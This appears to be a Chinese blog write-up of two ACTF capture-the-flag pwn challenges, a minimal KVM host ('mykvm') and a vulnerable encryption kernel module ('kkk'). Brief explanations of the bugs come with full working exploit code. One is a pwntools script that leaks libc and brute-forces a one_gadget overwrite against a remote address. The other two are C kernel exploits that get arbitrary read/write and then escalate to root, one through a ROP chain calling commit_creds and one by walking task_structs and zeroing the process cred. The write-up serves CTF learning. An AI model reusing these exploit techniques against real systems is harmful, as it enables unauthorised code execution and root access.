ACTF Pwn Writeup

mykvm

实现了一个最基础功能kvm虚拟机

没有配置页表,因此vcpu运行在real mode下

设置code_size为0x1000,可以将栈上大量存留指针memcpy进虚拟机内存中,来实现泄漏libc

内存空间从0x603000开始,而注意到在0x60A000处存在一个dest指针指向堆

该指针在虚拟机hlt后会接受一个memcpy,因此考虑将该指针覆盖为got表

由于readline()函数会将\x7f作为Delete信号识别,因此采用低位覆盖为one_gadget

readline()函数会将相当一部分不可见字符转义,因此需要爆破

(启动docker时需要添加-privilage参数,来允许在docker使用kvm)

from pwn import*
context(os="linux",arch="amd64",log_level='debug')

libc=ELF("./libc-2.23.so")

while (True):
	flag=0
	r=remote("20.247.110.192",10888)
	#r=remote("127.0.0.1",6666)
	#r=process('./main')

	code=asm("""
			.code16
			mov bx,0x8
			mov ax,0x3F
			mov ds,ax
			mov ax,0x710
			mov ss,ax
			lable:
				mov al,byte ptr ds:[bx]
				out 0,al
				add bx,1
				cmp bx,0x200
				jna lable

			xor bx,bx
			mov al,0x0B
			mov ss:[bx+0x0],al
			mov al,0x20
			mov ss:[bx+0x1],al
			mov al,0x60
			mov ss:[bx+0x2],al
			mov al,0
			mov ss:[bx+0x3],al

			hlt
		""")

	r.recvuntil(": \n")
	r.sendline(str(0x1000))

	r.recvuntil(": \n")
	r.send(code)

	r.recvuntil(": ")
	r.sendline("a"*0x8)

	r.recvuntil(": ")

	r.sendline("b"*0x8)

	r.recvuntil("b"*0x8+"\n")
	sleep(0.1)
	libc_base=u64(r.recv(8))-0x8309d8
	success("libc_base: "+hex(libc_base))

	one_gadget=libc_base+0xf1247
	#gdb.attach(r,"b *0x400E49")
	test=one_gadget
	for i in range (3):
		char=test%0x100
		if (char>0x7e or char<0x20 ):
			flag=1
			break
		test=test//0x100
	if (flag==1):
		r.close()
		continue;
	else:
		pause()

	r.recvuntil("host name: ")
	r.sendline("a"*0x1D+p32(one_gadget%0x1000000)[:-1])

	r.interactive()

kkk

在content长度不为0x10的整数倍时,aes256加密会将剩余字节补满0x10进行加密,因此存在加密溢出

通过溢出修改下一个块的key_size部分,则可以实现溢出读写

再次溢出修改再下一个块的key_size和key指针即可实现任意地址读写

 

exp1为修改结构体中encrypto_func指针为work_for_cpu_fn控制rbx和rip,此时rbx指针结构体本身

使用magic_gadget将rbx赋值给rsp来达到栈迁移

exp2为通过init_task结构体遍历全部的task_struct

修改当前进程的cred来提权

ROP exp:

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/socket.h> struct request { union { uint64_t idx; uint64_t type; }; uint64_t key_size; char *key; uint64_t content_size; char *content; }; int dev_fd; char *recv_key; uint64_t user_cs,user_ss,user_eflag,rsp; void save_state() { asm( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %3;" "pushfq;" "pop %2;" : "=r"(user_cs),"=r"(user_ss),"=r"(user_eflag),"=r"(rsp) : : "memory" ); } void err(char *error) { puts(error); exit(-1); } void new(uint64_t type, uint64_t key_size, char *key, uint64_t content_size, char *content) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.type = type; request_t.key_size = key_size; request_t.key = key; request_t.content_size = content_size; request_t.content = content; ret = ioctl(dev_fd, 0x6B64, &request_t); if (ret) err("Error While New"); } void edit(uint64_t idx, char *key, char *content) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; request_t.key = key; request_t.content = content; ret = ioctl(dev_fd, 0x6B67, &request_t); if (ret) err("Error While Edit"); } void show(uint64_t idx, char *key, char *content) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; request_t.key = key; request_t.content = content; ret = ioctl(dev_fd, 0x6B69, &request_t); if (ret) err("Error While Show"); } void encrypto(uint64_t idx) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; ret = ioctl(dev_fd, 0x6B6B, &request_t); if (ret) err("Error While Encrypto"); } void delete(uint64_t idx) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; ret = ioctl(dev_fd, 0x6B6D, &request_t); if (ret) err("Error While Delete"); } void arbitrary_write(uint64_t addr, uint64_t content) { uint64_t *eval = malloc(0x8); char *zero_page = malloc(0x400); ((uint64_t *)recv_key)[0x7a] = 0x8; ((uint64_t *)recv_key)[0x7b] = addr; edit(1, recv_key, zero_page); eval[0] = content; edit(2, (char *)eval, zero_page); show(1, recv_key, zero_page); free(eval); free(zero_page); } uint64_t arbitrary_read(uint64_t addr) { char *zero_page = malloc(0x400); ((uint64_t *)recv_key)[0x7a] = 0x8; ((uint64_t *)recv_key)[0x7b] = addr; edit(1, recv_key, zero_page); uint64_t eval; show(2, (char *)&eval, zero_page); show(1, recv_key, zero_page); free(zero_page); return eval; } void get_shell() { char buf[0x50]; memset(buf, 0, 0x20); int fd = open("/flag", O_RDONLY); read(fd, buf, 0x20); puts(buf); _exit(0); } int main() { save_state(); dev_fd = open("/dev/kkk", O_RDWR); if (dev_fd <= 0) perror("Error While Open"); char *key = malloc(0x1000); char *content = malloc(0x1000); char *recv_content = malloc(0x1000); recv_key = mmap((void *)0xA000000, 0x3000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); recv_key[0]='a'; memset(key, 0, 0x1000); memset(content, 0, 0x1000); ((uint64_t *)content)[0] = 0x8b3207c19fd5207; ((uint64_t *)(content+0x3a0))[0] = 0x8b3207c19fd5207; ((uint64_t *)content)[0x1] = 0x28; ((uint64_t *)key)[0] = 0x17d9e6b8154f6c42; ((uint64_t *)key)[1] = 0x7e4dcabfe6696471; ((uint64_t *)key)[2] = 0x69dc751b40f32c5a; ((uint64_t *)key)[3] = 0x82e6efe9e0db73b0; new(3, 0x28, key, 0x3a8, content); new(3, 0x28, key, 0x3a8, content); new(3, 0x28, key, 0x3a8, content); new(3, 0x28, key, 0x3a8, content); encrypto(0); show(1, recv_key, recv_content); uint64_t heap_addr = ((uint64_t *)recv_key)[0x7b] - 0x30; uint64_t modprobe_base = ((uint64_t *)recv_key)[0x7f] - 0x130; printf("[+] heap_addr: 0x%lx\n", heap_addr); printf("[+] modprobe_base: 0x%lx\n", modprobe_base); ((uint64_t *)recv_key)[0x7b] = modprobe_base + 0x1188; edit(1, recv_key, content); show(2, recv_key, recv_content); uint64_t kernel_base = ((uint64_t *)recv_key)[0] - 0x2258e0; uint64_t modprobe_path = kernel_base + 0x1850fa0; uint64_t work_for_cpu_fn = kernel_base + 0x8de20; uint64_t commit_creds = kernel_base + 0x9bcf0; uint64_t prepare_kernel_cred = kernel_base + 0x9bf90; uint64_t poweroff_cmd = kernel_base + 0x18507e0; uint64_t poweroff_work_func = kernel_base + 0x9ce40; uint64_t set_rsp = kernel_base + 0x524e89; uint64_t init_task = kernel_base + 0x1814940; uint64_t pop_rdi = kernel_base + 0x1614; uint64_t pop4 = kernel_base + 0x18adb; uint64_t kpti_trampoline = kernel_base+ 0xe00e10; uint64_t swapgs = kernel_base + 0xc67240; uint64_t iretq = kernel_base + 0x2ae1b; printf("[+] kernel_base: 0x%lx\n", kernel_base); printf("[+] modprobe_path: 0x%lx\n", modprobe_path); printf("[+] work_for_cpu_fn: 0x%lx\n", work_for_cpu_fn); printf("[+] commit_creds: 0x%lx\n", commit_creds); printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred); printf("[+] poweroff_cmd: 0x%lx\n", poweroff_cmd); printf("[+] kpti_trampoline: 0x%lx\n", kpti_trampoline + 22); printf("[+] poweroff_work_func: 0x%lx\n", poweroff_work_func); printf("[+] init_task: 0x%lx\n", init_task); arbitrary_write(heap_addr - 0x400, 0x800); arbitrary_write(heap_addr + 0x420, set_rsp); arbitrary_write(heap_addr + 0x428, work_for_cpu_fn); uint64_t *eval = malloc(0x100); char *zero_page = malloc(0x400); ((uint64_t *)recv_key)[0x7a] = 0x100; ((uint64_t *)recv_key)[0x7b] = heap_addr + 0x408; edit(1, recv_key, zero_page); memset(eval, 0x61, 0x100); eval[0] = pop4; eval[3] = set_rsp; eval[4] = work_for_cpu_fn; eval[5] = pop_rdi; eval[6] = 0; eval[7] = prepare_kernel_cred; eval[8] = commit_creds; eval[9] = kpti_trampoline + 22; eval[10] = 0; eval[11] = 0; eval[12] = (uint64_t)get_shell; eval[13] = user_cs; eval[14] = user_eflag; eval[15] = rsp; eval[16] = user_ss; edit(2, (char *)eval, zero_page); show(1, recv_key, zero_page); free(eval); free(zero_page); encrypto(3); }

init_task exp:

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h> struct request { union { uint64_t idx; uint64_t type; }; uint64_t key_size; char *key; uint64_t content_size; char *content; }; int dev_fd; char *recv_key, *zero_page; uint64_t user_cs,user_ss,user_eflag,rsp; void err(char *error) { puts(error); exit(-1); } void new(uint64_t type, uint64_t key_size, char *key, uint64_t content_size, char *content) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.type = type; request_t.key_size = key_size; request_t.key = key; request_t.content_size = content_size; request_t.content = content; ret = ioctl(dev_fd, 0x6B64, &request_t); if (ret) err("[X] Error While New"); } void edit(uint64_t idx, char *key, char *content) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; request_t.key = key; request_t.content = content; ret = ioctl(dev_fd, 0x6B67, &request_t); if (ret) err("[X] Error While Edit"); } void show(uint64_t idx, char *key, char *content) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; request_t.key = key; request_t.content = content; ret = ioctl(dev_fd, 0x6B69, &request_t); if (ret) err("[X] Error While Show"); } void encrypto(uint64_t idx) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; ret = ioctl(dev_fd, 0x6B6B, &request_t); if (ret) err("[X] Error While Encrypto"); } void delete(uint64_t idx) { struct request request_t; int ret; memset(&request_t, 0, sizeof(struct request)); request_t.idx = idx; ret = ioctl(dev_fd, 0x6B6D, &request_t); if (ret) err("[X] Error While Delete"); } void arbitrary_write(uint64_t addr, void *content, uint64_t len) { ((uint64_t *)recv_key)[0x7a] = len; ((uint64_t *)recv_key)[0x7b] = addr; edit(1, recv_key, zero_page); edit(2, content, zero_page); show(1, recv_key, zero_page); memset(zero_page, 0, 0x1000); } void arbitrary_read(uint64_t addr, void *recv, uint64_t len) { ((uint64_t *)recv_key)[0x7a] = len; ((uint64_t *)recv_key)[0x7b] = addr; edit(1, recv_key, zero_page); show(2, recv, zero_page); show(1, recv_key, zero_page); memset(zero_page, 0, 0x1000); } int main() { prctl(PR_SET_NAME, "aaaaaaaa", NULL, NULL, NULL); dev_fd = open("/dev/kkk", O_RDWR); if (dev_fd <= 0) err("[X] Error While Open"); char *key = malloc(0x1000); char *content = malloc(0x1000); char *recv_content = malloc(0x1000); recv_key = mmap((void *)0xA0000, 0x3000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); zero_page = mmap((void *)0xB0000, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memset(zero_page, 0, 0x1000); memset(recv_key, 0, 0x1000); memset(key, 0, 0x1000); memset(content, 0, 0x1000); ((uint64_t *)content)[0] = 0x8b3207c19fd5207; ((uint64_t *)(content+0x3a0))[0] = 0x8b3207c19fd5207; ((uint64_t *)content)[0x1] = 0x28; ((uint64_t *)key)[0] = 0x17d9e6b8154f6c42; ((uint64_t *)key)[1] = 0x7e4dcabfe6696471; ((uint64_t *)key)[2] = 0x69dc751b40f32c5a; ((uint64_t *)key)[3] = 0x82e6efe9e0db73b0; new(3, 0x28, key, 0x3a8, content); new(3, 0x28, key, 0x3a8, content); new(3, 0x28, key, 0x3a8, content); new(3, 0x28, key, 0x3a8, content); encrypto(0); show(1, recv_key, zero_page); memset(zero_page, 0, 0x1000); uint64_t heap_addr = ((uint64_t *)recv_key)[0x7b] - 0x30; uint64_t modprobe_base = ((uint64_t *)recv_key)[0x7f] - 0x130; printf("[+] heap_addr: 0x%lx\n", heap_addr); printf("[+] modprobe_base: 0x%lx\n", modprobe_base); ((uint64_t *)recv_key)[0x7b] = modprobe_base + 0x1188; edit(1, recv_key, content); show(2, recv_key, zero_page); memset(zero_page, 0, 0x1000); uint64_t kernel_base = ((uint64_t *)recv_key)[0] - 0x2258e0; uint64_t init_task = kernel_base + 0x1814940; printf("[+] kernel_base: 0x%lx\n", kernel_base); printf("[+] init_task: 0x%lx\n", init_task); uint64_t *eval = malloc(0x30); eval[0] = 0x800; arbitrary_write(heap_addr - 0x400, eval, 0x8); uint64_t *eval_read = malloc(0x300); arbitrary_read(init_task + 0x458, eval_read, 0x8); char comm[0x10]; uint64_t next = eval_read[0]; uint64_t cred = 0; for ( ; next != init_task; ) { memset(comm, 0, sizeof(comm)); arbitrary_read(next, eval_read, 0x2F0); next = eval_read[0]; memcpy(comm, eval_read+0x5C, 0x10); if (!strcmp(comm, "aaaaaaaa")) { cred = eval_read[0x5A]; printf("[+] Cred Struct in: 0x%lx\n", cred); break; } } if (cred) { memset(eval, 0, 0x20); arbitrary_write(cred , eval, 0x20); system("/bin/sh"); } }

 

附件下载

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇